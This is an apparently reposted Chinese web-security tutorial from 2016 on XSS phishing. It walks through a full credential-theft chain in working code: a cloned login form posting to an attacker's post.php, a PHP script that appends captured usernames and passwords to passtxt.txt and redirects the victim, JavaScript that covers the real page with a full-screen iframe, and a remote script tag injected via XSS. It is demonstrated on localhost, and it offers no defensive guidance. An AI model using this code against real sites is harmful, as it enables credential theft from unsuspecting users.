XSS Phishing (XSS钓鱼)
时间:2016-11-27 16:24 来源:转载 作者:sn0w 点击:次
通过JavaScript动态调整页面内容,实现钓鱼。
首先我们准备一个模拟登录环境:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> 正常登录界面</br> <form action="127.0.0.1/login.php" method="post"> <input type="text" name="user" value="UserName"> <input type="text" name="pass" value="PassWord"> <input type="submit" name="name" value="login"> </form> </body> </html> 效果图:为了与钓鱼页面区分开,我们加上一行文字 “正常登录页面” ![]() <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> 非正常登录界面</br> <form action="http://127.0.0.1/post.php" method="post"> <input type="text" name="user" value="UserName"> <input type="text" name="pass" value="PassWord"> <input type="submit" name="name" value="login"> </form> </body> </html> 我们通过代码可以看出,正常的登录页面与非正常登录页面直接只有表单提交的地址不同,其他完全相同。
钓鱼页面效果图:
![]()
远程服务器接收post提交的数据并保存
<?php $user=$_POST['user']; //获取post包中的用户名 $pass=$_POST['pass']; //获取post包中的密码 $passtxt=fopen("passtxt.txt","a"); //打开文件 fwrite($passtxt,"User:".$user."Pass:".$pass."\n"); //将获取的值写入文件 fclose($passtxt); header("location:http://www.xxxxx.com"); //转跳页面 ?> 获取POST中的相关值并保存在passtxt.txt文件内,并跳转到登录后的页面。
我们需要通过JavaScript来实现覆盖正常登录页面
document.body.innerHTML='<div style="position:absolute;top:0px;left:0px;width:100%;height:100%">'+ '<iframe src=http://127.0.0.1/phishing.html width=100% height=100%>' + '</iframe></div>'; 通过innerHTML方法插入iframe框架覆盖掉原来正常的登录页面
然后我们可以利用页面的XSS将利用代码插入到正常页面,通过利用代码远程调用我们的javascript文件,覆盖正常登录页面,这里只是演示,我们直接将利用代码加入到正常登陆页面内
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> 正常登录界面</br> <form action="127.0.0.1/xxx.php" method="post"> <input type="text" name="user" value="UserName"> <input type="text" name="pass" value="PassWord"> <input type="submit" name="name" value="login"> </form> <script src="http://127.0.0.1/iframe.js"></script> <!--利用代码--> </body> </html>
此时当我们访问登录页面时,会发现正常页面一闪而过,然后跳到我们的钓鱼页面。
![]()
通过源代码可以不难看出,整个页面已经被一个iframe框架覆盖,并且数据提交地址已经改变
现在我们在输入账号密码登录时数据已经提交到我们的服务器并进行了保存,然后URL跳到了我们指定的地址。
![]() |